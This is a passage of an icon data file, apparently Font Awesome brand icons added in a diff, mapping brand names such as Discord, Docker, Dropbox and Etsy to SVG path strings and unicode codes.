62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z"], + "dev": [448, 512, [], "f6cc", "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z"], + "deviantart": [320, 512, [], "f1bd", "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z"], + "dhl": [640, 512, [], "f790", "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z"], + "diaspora": [512, 512, [], "f791", "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z"], + "digg": [512, 512, [], "f1a6", "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z"], + "digital-ocean": [512, 512, [], "f391", "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z"], + "discord": [640, 512, [], "f392", "M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z"], + "discourse": [448, 512, [], "f393", "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z"], + "dochub": [416, 512, [], "f394", "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z"], + "docker": [640, 512, [], "f395", "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z"], + "draft2digital": [480, 512, [], "f396", "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z"], + "dribbble": [512, 512, [], "f17d", "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z"], + "dribbble-square": [448, 512, [], "f397", "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z"], + "dropbox": [528, 512, [], "f16b", "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z"], + "drupal": [448, 512, [], "f1a9", "M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z"], + "dyalog": [416, 512, [], "f399", "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z"], + "earlybirds": [480, 512, [], "f39a", "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z"], + "ebay": [640, 512, [], "f4f4", "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z"], + "edge": [512, 512, [], "f282", "M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z"], + "edge-legacy": [512, 512, [], "e078", "M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z"], + "elementor": [448, 512, [], "f430", "M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z"], + "ello": [496, 512, [], "f5f1", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z"], + "ember": [640, 512, [], "f423", "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z"], + "empire": [496, 512, [], "f1d1", "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z"], + "envira": [448, 512, [], "f299", "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z"], + "erlang": [640, 512, [], "f39d", "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z"], + "ethereum": [320, 512, [], "f42e", "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z"], + "etsy": [384, 512, [], "f2d7", "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 